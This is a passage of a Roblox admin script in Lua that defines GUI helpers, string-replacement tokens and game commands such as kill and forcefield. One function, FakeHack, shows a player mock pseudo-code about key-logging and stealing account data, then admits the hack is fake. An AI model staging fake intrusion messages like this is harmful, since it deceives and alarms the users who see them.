  4947. end
  4948. end
  4949.  
  4950. if Style == "None" then Style = "Custom" end
  4951. if Style == "Casual" then Style = "RobloxButton" end
  4952. if Style == "Red" then Style = "RobloxButtonDefault" end
  4953. if Style == "Gray" then Style = "RobloxRoundButton" end
  4954. if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
  4955. if Style == "White" then Style = "RobloxRoundDropdownButton" end
  4956.  
  4957. local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
  4958. CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
  4959. SOUND:BindButton(Button)
  4960. end
  4961.  
  4962. if tonumber(Time) then
  4963. local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
  4964. Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  4965. Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  4966.  
  4967. for i = Time,0,-1 do
  4968. for ii = 1,10 do
  4969. if Alive == true then
  4970. Ticker.Text = i
  4971. wait(0.1)
  4972. else
  4973. break
  4974. end
  4975. end
  4976. end
  4977. if Alive == true then
  4978. ClosePrompt()
  4979. end
  4980. end
  4981.  
  4982. repeat wait() until Alive == false
  4983. return Clicked
  4984. end
  4985.  
  4986. function GUI:Vote(Speaker, Players, Text, Time)
  4987. if not Players or not Text or #Players <= 0 then return end
  4988.  
  4989. local Votes = {}
  4990. local Tick = 0
  4991.  
  4992. for _,Player in pairs(Players) do
  4993. local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
  4994. local CanVote = true
  4995. if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
  4996. if CanVote == true then
  4997. coroutine.wrap(function()
  4998. local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
  4999. if Answer == nil then Answer = "Unknown" end
  5000. table.insert(Votes, Answer)
  5001. end)()
  5002. end
  5003. end
  5004. repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
  5005. wait(2)
  5006. if Speaker and Speaker:FindFirstChild("PlayerGui") then
  5007. local Total = #Players
  5008. local Yes,No,Unknown = 0,0,0
  5009. for _,Vote in pairs(Votes) do
  5010. if Vote == "Yes" then Yes = Yes + 1
  5011. elseif Vote == "No" then No = No + 1
  5012. end
  5013. end
  5014. Unknown = #Players - #Votes
  5015.  
  5016. local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
  5017. local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
  5018. local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
  5019. ]]..Yes.."/"..Total..[[
  5020. ]]..math.ceil((Yes/Total)*100).."% "
  5021. local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
  5022. ]]..No.."/"..Total..[[
  5023. ]]..math.ceil((No/Total)*100).."% "
  5024. local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
  5025. ]]..Unknown.."/"..Total..[[
  5026. ]]..math.ceil((Unknown/Total)*100).."% "
  5027. end
  5028. end
  5029.  
  5030. --GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
  5031.  
  5032. function GUI:LoadGui(Player, Text, InfoText)
  5033. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  5034. local Dead = false
  5035.  
  5036. local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
  5037. local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
  5038. local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
  5039. local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
  5040. if InfoText then Info.Text = InfoText end
  5041.  
  5042. local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
  5043. local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
  5044.  
  5045. CloseGui.OnInvoke = function()
  5046. Close:Invoke()
  5047. Dead = true
  5048. end
  5049. AddInfo.OnInvoke = function(AddText)
  5050. Info.Text = AddText
  5051. end
  5052.  
  5053. coroutine.wrap(function()
  5054. for i = 0,math.huge,3 do
  5055. if Dead == false and Frame then
  5056. WaitIcon.Rotation = i
  5057. wait()
  5058. else
  5059. break
  5060. end
  5061. end
  5062. end)()
  5063.  
  5064. coroutine.wrap(function()
  5065. while Dead == false and Frame do
  5066. wait(0.5)
  5067. LoadLabel.Text = Text.."."
  5068. wait(0.5)
  5069. LoadLabel.Text = Text..".."
  5070. wait(0.5)
  5071. LoadLabel.Text = Text.."..."
  5072. wait(0.5)
  5073. LoadLabel.Text = Text..".."
  5074. wait(0.5)
  5075. LoadLabel.Text = Text.."."
  5076. wait(0.5)
  5077. LoadLabel.Text = Text
  5078. end
  5079. end)()
  5080.  
  5081. wait(1)
  5082.  
  5083. return CloseGui, AddInfo
  5084. end
  5085.  
  5086. function GUI:FakeHack(Player) coroutine.wrap(function()
  5087. if not Player or not Player:FindFirstChild("PlayerGui") then return end
  5088. local FakeText = [[
  5089. >SHELL: BEGIN
  5090. >RUNCODE:
  5091. return {
  5092. local Hack = {"Account", "Tix", "Robux"};
  5093. function Start(Type, Inject, Scan)
  5094. if not Inject then Inject = "In-Game" end
  5095. return {Type, Inject, Scan}
  5096. end
  5097. for Exe,Exploit in pairs(Hack) do
  5098. local IP = Start("In-Game",Exploit,
  5099. BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
  5100. {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
  5101. )
  5102. Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
  5103. for i = 1,#Injection[2] do
  5104. Log("PlayerData", "ConnectHost", "PLAYERNAME")
  5105. end
  5106. local PlayerProxy = newproxy(true)
  5107. setmetatable(PlayerProxy,Injection[3],{
  5108. __index = function(StealData, ...) local Data = unpack(...)
  5109. return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
  5110. end;
  5111. })
  5112. end
  5113. Log("HACKED HOST: PLAYERNAME")
  5114. }
  5115. >HACKED HOST: PLAYERNAME
  5116.  
  5117. ]]
  5118. local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
  5119. if SG then SG:Destroy() end
  5120. SG = Instance.new("ScreenGui", Player.PlayerGui)
  5121. SG.Name = "MML Hack Gui"
  5122. local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
  5123. local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
  5124. local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
  5125. for i = 1,#FakeText do
  5126. HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
  5127. if math.random(1,5) == 1 then
  5128. wait()
  5129. end
  5130. end
  5131. HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
  5132. wait(3)
  5133. HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
  5134. fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
  5135. X.Visible = true
  5136. end)() end
  5137.  
  5138. function GUI:CommandBar(Player)
  5139. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  5140.  
  5141. local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
  5142. local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
  5143. local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
  5144. local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
  5145.  
  5146. local _,Rank = RANK:GetRank(Player)
  5147. local UsableCommands = {}
  5148. for CommandNames,Data in pairs(Commands) do
  5149. if not Data.Hidden then
  5150. if RANK:ConvertRank(Data[4]) <= Rank then
  5151. for _,Command in pairs(CommandNames) do
  5152. table.insert(UsableCommands, {Command, Data[3]})
  5153. end
  5154. end
  5155. end
  5156. end
  5157.  
  5158. local RPR = CORE:CreateRemotePropertyReader(CommandBox)
  5159.  
  5160. local function ExecuteText()
  5161. local Text = CORE:ReadProperty(RPR, Player, "Text")
  5162. CORE:Chatted(Text, Player, true)
  5163. CommandBox.Text = "Enter a command here"
  5164. end
  5165.  
  5166. local function AddSuggestion(Text)
  5167. if Text == nil then Text = Settings.Prefix end
  5168. local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
  5169. Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
  5170. CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
  5171. if Text == Settings.Prefix then
  5172. CommandBox.Text = Settings.Prefix
  5173. else
  5174. CommandBox.Text = Settings.Prefix..Text
  5175. end
  5176. CORE:ExecuteResource("Focus", CommandBox)
  5177. end, true)
  5178. end
  5179.  
  5180. CORE:HandleEvent(CommandBox, "MouseEnter", function()
  5181. if CommandBox.Text == "Enter a command here" then
  5182. CommandBox.Text = ""
  5183. end
  5184. end)
  5185.  
  5186. local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
  5187. CORE:ExecuteResource("ChatBoxLocal", CommandBox)
  5188.  
  5189. CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
  5190.  
  5191.  
  5192. CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
  5193. Suggest.CanvasSize = UDim2.new(0,0,0,0)
  5194. Suggest:ClearAllChildren()
  5195. local Text = CORE:ReadProperty(RPR, Player, "Text")
  5196. if Text == "" then
  5197. AddSuggestion(Settings.Prefix)
  5198. end
  5199.  
  5200. if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
  5201. Text = string.sub(Text,#Settings.Prefix+1)
  5202. end
  5203. for _,Data in pairs(UsableCommands) do
  5204. local Command,Args = Data[1],Data[2]
  5205. if string.find(string.lower(Command),string.lower(Text)) then
  5206. local NewSuggestion = Command
  5207. if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
  5208. AddSuggestion(NewSuggestion)
  5209. end
  5210. end
  5211.  
  5212. end end)
  5213. end
  5214.  
  5215. function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
  5216. if not Player or not AllSeconds then return nil end
  5217. AllSeconds = tonumber(AllSeconds)
  5218. local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
  5219. AllSeconds = math.floor(AllSeconds)
  5220. if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
  5221. local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
  5222. local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
  5223. local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
  5224. local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
  5225. local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
  5226.  
  5227. local CurrentSeconds = AllSeconds
  5228. local Alive = true
  5229. coroutine.wrap(function() for i = 0,AllSeconds do
  5230. if not Alive then break end
  5231. local Seconds = tostring(math.fmod(CurrentSeconds,60))
  5232. local Minutes = tostring(math.floor(CurrentSeconds/60))
  5233. if #Seconds == 1 then Seconds = "0"..Seconds end
  5234. if #Minutes == 1 then Minutes = "0"..Minutes end
  5235. Time.Text = Minutes..":"..Seconds
  5236. wait(1)
  5237. if CurrentSeconds <= 0 then
  5238. Alarm:Play()
  5239. Time.Text = "00:00"
  5240. Part.Size = UDim2.new(1,0,1,0)
  5241. Restore:Invoke()
  5242. wait(4)
  5243. Close:Invoke()
  5244. break
  5245. else
  5246. Tick:Play()
  5247. Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
  5248. CurrentSeconds = CurrentSeconds - 1
  5249. end
  5250. end end)()
  5251.  
  5252. Closed.Event:connect(function()
  5253. if Alive == true then
  5254. Alive = false
  5255. Tick:Stop()
  5256. Alarm:Stop()
  5257. end
  5258. end)
  5259. end)() end
  5260.  
  5261. function GUI:DetachChat(Player)
  5262. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  5263. if Player:FindFirstChild("DetachChatMML") then
  5264. Player.DetachChatMML:Invoke(true)
  5265. wait()
  5266. Player.DetachChatMML:Destroy()
  5267. end
  5268.  
  5269. local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
  5270. local SG = Frame.Parent.Parent.Parent
  5271.  
  5272. local DCBF = Instance.new("BindableFunction", Player)
  5273. DCBF.Name = "DetachChatMML"
  5274. DCBF.OnInvoke = function(Remove)
  5275. if Remove then
  5276. SG:Destroy()
  5277. end
  5278. end
  5279. CORE:ExecuteResource("CoreChat", SG)
  5280.  
  5281. local IsClosed = false
  5282. Closed.Event:connect(function()
  5283. CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
  5284. IsClosed = true
  5285. end)
  5286.  
  5287. coroutine.wrap(function()
  5288. Player.CharacterRemoving:wait()
  5289. if not IsClosed then
  5290. IsClosed = true
  5291. wait(1)
  5292. CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
  5293. end
  5294. end)()
  5295. end
  5296.  
  5297. function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
  5298. if not Player then return nil end
  5299. if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
  5300. Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
  5301.  
  5302. Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
  5303. end)() end
  5304.  
  5305. function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
  5306. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  5307. if not SoundID then SoundID = SoundInfo["ID"] end
  5308. if not TitleText then TitleText = SoundInfo["Name"] end
  5309. if not CreatorText then CreatorText = SoundInfo["Creator"] end
  5310. if not InputSound then InputSound = Sound end
  5311.  
  5312. local NumSounds = 0
  5313. for _,SG in pairs(Player.PlayerGui:GetChildren()) do
  5314. if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
  5315. NumSounds = NumSounds + 1
  5316. end
  5317. end
  5318.  
  5319. local Size = UDim2.new(0.1, 100, 0.1, 100)
  5320. local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
  5321. Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
  5322.  
  5323. local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
  5324. local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
  5325. local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
  5326. local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
  5327. local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
  5328. local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
  5329. local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
  5330.  
  5331. local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
  5332. local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
  5333. if Sound then
  5334. CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
  5335. end
  5336. if Time then
  5337. local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
  5338. local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
  5339.  
  5340. coroutine.wrap(function()
  5341. local Alive = true
  5342.  
  5343. local function StopTimer() Alive = false end
  5344. Closed.Event:connect(StopTimer)
  5345. Minimized.Event:connect(StopTimer)
  5346. CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
  5347.  
  5348. for i = Time,0,-1 do
  5349. for ii = 1,10 do
  5350. if Alive == true then
  5351. Timer.Text = i
  5352. wait(0.1)
  5353. else
  5354. break
  5355. end
  5356. end
  5357. end
  5358. if Alive == true then
  5359. Close:Invoke()
  5360. else
  5361. Timer:Destroy()
  5362. Stop:Destroy()
  5363. end
  5364. end)()
  5365. end
  5366. end
  5367.  
  5368. ---- STRING REPLACEMENT OPERATIONS ----
  5369.  
  5370. -- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
  5371.  
  5372. -- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
  5373.  
  5374. StringReplacements = {
  5375. {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
  5376. {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
  5377. {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
  5378. {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
  5379. {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
  5380. {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
  5381. {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
  5382. {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
  5383. {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
  5384. {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
  5385.  
  5386. {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
  5387. {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
  5388. {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
  5389. {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
  5390. {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
  5391. {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
  5392.  
  5393. {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
  5394. {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
  5395. {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
  5396. {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
  5397. {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
  5398. {"_NAME", "player's username", true, function(Player) return Player.Name end};
  5399. {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
  5400. {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
  5401. {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
  5402. {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
  5403. {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
  5404. {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
  5405. {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
  5406. {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
  5407. {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
  5408. {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
  5409. }
  5410.  
  5411. ---- COMMANDS ----
  5412.  
  5413. -- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
  5414.  
  5415. Commands = { -- can't make local
  5416. [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
  5417. print("[MML's Admin]: Test message from "..Speaker.Name)
  5418. GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
  5419. end};
  5420.  
  5421. [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
  5422. local Players = STRING:Scan(Arguments[1], Speaker)
  5423. for _,Player in pairs(Players) do
  5424. if Player.Character then
  5425. Player.Character:BreakJoints()
  5426. end
  5427. end
  5428. end};
  5429.  
  5430. [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
  5431. local Players = STRING:Scan(Arguments[1], Speaker)
  5432. for _,Player in pairs(Players) do
  5433. if Player.Character then
